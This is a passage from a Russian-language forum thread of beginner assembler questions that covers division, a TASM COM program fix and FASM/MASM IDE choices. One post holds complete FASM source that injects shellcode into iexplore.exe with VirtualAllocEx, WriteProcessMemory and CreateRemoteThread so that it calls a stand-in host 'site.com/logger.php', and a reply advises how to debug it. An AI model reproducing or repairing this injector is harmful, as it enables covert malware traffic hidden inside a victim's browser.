[ Assembler ] — начинающим: задаем вопросы

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by !_filin_!, 25 May 2007.

  1. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    438
    Likes Received:
    97
    Reputations:
    9
    Нужно разделить два числа, как этот код деления будет выглядеть на asm'е? (возможно будет остаток)
    В интернете: одни обрывки
     
  2. herfleisch

    herfleisch Elder - Старейшина

    Joined:
    7 Jan 2009
    Messages:
    579
    Likes Received:
    203
    Reputations:
    13
    Пильщиков.
     
  3. zeppe1in

    zeppe1in Elder - Старейшина

    Joined:
    12 Jul 2006
    Messages:
    343
    Likes Received:
    66
    Reputations:
    18
    wolmer
    http://www.kolasc.net.ru/cdo/programmes/assembler/div.html
     
  4. mikhalev

    mikhalev New Member

    Joined:
    16 May 2008
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    InternetOpen в коде IE

    пытаюсь создать подключение из IE

    инжектирую туда код, а в результате крах

    Code:
    remote_thread:
        call    .delta
      .delta:
        pop     ebp
        sub     ebp,.delta
        xor     esi,esi
        lea     eax,[ebp+_wininet]
        push    eax
        call    [ebp+pLoadLibrary]
        push    esi
        push    0
        push    0
        push    0
        push    0
        lea     eax,[ebp+_agent]
        push    eax
        lea     eax,[ebp+_fileURL]
        push    eax
        push    esi
        call    [pInternetOpen]
        ret 
    полный текст

    Code:
    format PE GUI 4.0
    entry start
    
    include 'win32a.inc'
    
    struct  PROCESSENTRY32
     dwSize                        dd  ?
     cntUsage                      dd  ?
     th32ProcessID                 dd  ?
     th32DefaultHeapID             dd  ?
     th32ModuleID                  dd  ?
     cntThreads                    dd  ?
     th32ParentProcessID           dd  ?
     pcPriClassBase                dd  ?
     dwFlags                       dd  ?
     szExeFile                     rb 260
    ends
    
    TH32CS_SNAPPROCESS =2
    
    section '.code' code readable writeable executable
    
        target_name     db 'iexplore.exe',0
    
    ;...............[INJECT CODE]..................;
    remote_thread:
    
        call    .delta
      .delta:
        pop     ebp
        sub     ebp,.delta
        xor     esi,esi
        lea     eax,[ebp+_wininet]
        push    eax
        call    [ebp+pLoadLibrary]
        push    esi
        push    0
        push    0
        push    0
        push    0
        lea     eax,[ebp+_agent]
        push    eax
        lea     eax,[ebp+_fileURL]
        push    eax
        push    esi
        call    [pInternetOpen]
    
        ret
    
      .data:
    
        pMessageBox          dd 0
        pLoadLibrary         dd 0
        pInternetOpen        dd 0
        pInternetOpenUrl     dd 0
        pInternetCloseHandle dd 0
    
        _wininet        db 'WININET.DLL',0
        _agent          db 'load',0
        _fileURL        db 'http://site.com/logger.php',0
        hSession        dd ?
    
    
    thread_end:
    ;...............[END INJECT CODE]..............;
    
    p_ent PROCESSENTRY32,sizeof.PROCESSENTRY32,?
    
    find_target:
        xor     esi,esi
    
     .shot:
        invoke  CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,esi
        inc     eax
        je      .not_found
        dec     eax
       xchg    eax,edi
        mov [p_ent.dwSize],sizeof.PROCESSENTRY32
    
        invoke Process32First,edi,p_ent
     .next_prc:
        xchg    eax,ecx
        jecxz   .not_found
    
        invoke lstrcmpi,p_ent.szExeFile,target_name
        xchg    eax,ecx
        jecxz   .found
    
        invoke  Process32Next,edi,p_ent
        jmp     .next_prc
    
     .found:
        invoke  CloseHandle,edi
         mov eax,[p_ent.th32ProcessID]
        ret
    
     .not_found:
        xor     eax,eax
        ret
    
    inject_code:
        xor     esi,esi
        invoke  OpenProcess,PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,esi,eax
    
        xchg    eax,ecx
        jecxz   .exit
    
        xchg    ecx,edi
    
        invoke  VirtualAllocEx,edi,esi,thread_end-remote_thread,MEM_COMMIT,PAGE_READWRITE
        xchg    eax,ecx
        jecxz   .close_h
    
        xchg    ecx,ebp
    
        invoke  WriteProcessMemory,edi,ebp,remote_thread,thread_end-remote_thread,esi
    
        dec     eax
        test    eax,eax
        jnz     .close_h
        inc     eax
    
        invoke  CreateRemoteThread,edi,esi,esi,ebp,ebp,esi,esi
    
      .close_h:
        invoke  CloseHandle,edi
    
      .exit:
        ret
    
    get_apis:
        mov     edi,[LoadLibrary]
        mov     [pLoadLibrary],edi
        mov     edi, [InternetOpenA]
        mov     [pInternetOpen], edi
        mov     edi, [InternetOpenUrlA]
        mov     [pInternetOpenUrl], edi
        mov     edi, [InternetCloseHandle]
        mov     [pInternetCloseHandle], edi
        ret
    
    start:
        call    find_target
        test    eax,eax
        je      .exit
    
        call    get_apis
        call    inject_code
    
      .exit:
        push    0
        call    [ExitProcess]
    
    section '.idata' data import readable
    
     library kernel32,'KERNEL32.DLL',\
             user32,'USER32.DLL',\
             wininet, 'WININET.DLL'
    
     include 'api\kernel32.inc'
     include 'api\user32.inc'
     include 'api\wininet.inc'
     
  5. zeppe1in

    zeppe1in Elder - Старейшина

    Joined:
    12 Jul 2006
    Messages:
    343
    Likes Received:
    66
    Reputations:
    18
    вставляешь int 3 в начало инжектнутого кода и как сработает начнёшь отладку своим любимым дебагером, там уже будет видно что не так.
     
  6. Getty

    Getty Banned

    Joined:
    17 Jun 2010
    Messages:
    104
    Likes Received:
    1
    Reputations:
    0
    как обычно компилю тасмом com программу
    --------------------код------------------------
    cseg segment
    assume cs:cseg, ds:cseg,es:cseg,ss:cseg
    org 100h
    start:
    mov ax, 0b800h
    mov es,ax
    mov di, 0

    mov ah,31
    mov al, 1
    mov es:[di], ax
    mov ax, 10h
    int 16h
    int 20h
    cseg ends
    end start
    --------------------код------------------------
    tasm program.asm
    tlink program.obj/t/x

    все ок(тасм ошибок никаких не выдает) , запускаю из командной строчки и программа виснет(ОС не виснет) , смайлик не выводится.... хотя раньше выводился. В чем может быть проблема?
     
  7. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Code:
    CSEG segment
    assume cs:cseg, ds:cseg,es:cseg,ss:cseg
    org 100h
    start:
    mov ax,0B800h
    mov es,ax
    mov di,0
    
    mov ah,31
    mov al,1
    mov es:[di],ax
    
    mov [color=red][b]ah[/b][/color],10h
    int 16h
    
    int 20h
    
    CSEG ends
    end start
     
  8. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    Люди добрые! Подскажите,пожалуйста,какая среда подойдёт для программирования на асм под вистой x32/x64 ? Спасибо.
     
  9. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    FASM компилятор + любая среда набора текста. Лично мне нравится Notepad++, но я извращениц.
     
  10. swt1

    swt1 Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    306
    Likes Received:
    78
    Reputations:
    21
    masm32
     
  11. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    WinAsm. Весьма удобно. Можно прикрутить как фасм так и масм/тасм.

    Так же есть RadAsm. Тоже удобная среда разработки.
     
  12. swt1

    swt1 Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    306
    Likes Received:
    78
    Reputations:
    21
    Установка и настройка RadASM + fasm
    link
    Установка и настройка RadASM+ TASM и MASM
    link
     
    #752 swt1, 27 Jul 2010
    Last edited: 27 Jul 2010
  13. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    Спасибо всем! Скачал WinAsm,а вот рус описаний к нему не найти : ( - ток на англ.Да и учебников тоже не видать чет,или любой подойдёт?
     
    #753 Welemir, 27 Jul 2010
    Last edited: 27 Jul 2010
  14. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    Винасм пишет постоянно ошибка выполнения.втф(
     
  15. swt1

    swt1 Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    306
    Likes Received:
    78
    Reputations:
    21
  16. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    WinAsm -- это среда разработки а не язык программирования.

    Для новичка отлично подойдет http://kalashnikoff.ru/ (рассылка) + http://flatassembler.net/docs.php

    Пользоваться примерно так:
    Берешь пример из Калашникова и переписываешь его на фасм.
    Ну лил можешь учить масм( дело твое ).

    P.S.: WinAsm использую под XP.
     
  17. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Нет чувак. Это новичку не подойдет. Там в основном примери использования АПИ ф-й и все. Из мануала "Крэкинг с нуля, использование OllyDBG..." можно больше узнать чем из этого тутора. Его нужно читать когда ты уже знаком с инструкциями, регистрами и т п.
     
  18. swt1

    swt1 Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    306
    Likes Received:
    78
    Reputations:
    21
    я так понел что тс хочет учить или ужо писать своё :confused:
    если до,то товарищь Ins3t прав,начинай с Калашникова.
     
  19. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    да я в винасм ща пытаюсь пробовать(WinAsm).Постоянно возникает эта ошибка выполнения:
    Code:
    ;=======================================================================
    format PE GUI 4.0
    ;=======================================================================
    include 'win32a.inc'    ;*
    include 'rc.inc'        ;*
    ;=======================================================================
    section '.code' code readable executable
    
    entry $
    
        invoke GetModuleHandle,0
        mov [hInstance],eax
        invoke DialogBoxParam,eax,D_MAIN,0,dlg_proc,0
        invoke ExitProcess,0
    
    ;=======================================================================
    proc dlg_proc, hWnd, uMsg, wParam, lParam
        cmp [uMsg],WM_CLOSE
        jne @F
    .end_dlg:
        invoke EndDialog,[hWnd],0
    .exit_true:
        mov eax,TRUE
        ret
    @@:
    ;-----------------------------------------------------------------------
    ;    cmp [uMsg],WM_INITDIALOG
    ;    jne @F
    ;
    ;    jmp .exit_true
    ;@@:    
    ;-----------------------------------------------------------------------
    ;    cmp [uMsg],?? << add new message
    ;    jne @F
    ;    
    ;    jmp .exit_true
    ;@@:    
    ;-----------------------------------------------------------------------
        cmp [uMsg],WM_COMMAND
        jne .exit_false
        cmp [wParam],B_CAN
        je .end_dlg
    ;-----------------------------------------------------------------------
        cmp [wParam],B_OK
        jne @F
        ;-------------------------------------------------------------------
        ;   TODO: Place your code here to be executed when OK pressed   
        ;-------------------------------------------------------------------
        jmp .exit_true
    @@:
    ;-----------------------------------------------------------------------
    ;    cmp [wParam],?? ; << add new command
    ;    jne @F
    ;    jmp .exit_true
    ;@@:
    ;-----------------------------------------------------------------------
    .exit_false:
        xor eax,eax
        ret
    endp
    ;=======================================================================
    
    ;=======================================================================
    include 'idata.inc'
    include  'data.inc'
    ;=======================================================================
    section '.rsrc' resource data readable
    ;-----------------------------------------------------------------------
      directory RT_DIALOG,dialogs
    
    ;-----------------------------------------------------------------------
    include "dialogs.tab" ;*
    ;-----------------------------------------------------------------------
    include "dialogs.dat" ;*
    ;=======================================================================
    
    
    Code:
    .386
    .model flat.stdcall
    .code
    start:
    mov eax,2
    add eax,3
    ret
    end start
    
    вот так (

    даже просто команду мув заюзать не выходит.


    Мой код начинается с 386 (код с учебника)
     
    #759 Welemir, 27 Jul 2010
    Last edited by a moderator: 27 Jul 2010
  20. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Ну так ты скачал версию WinAsm для фасма, а пишешь на масме :)

    Качай это:
    http://www.winasm.net/winasm-studio-full-package.html
    --
    Или же качай хэлп по фасму и пиши на фасме.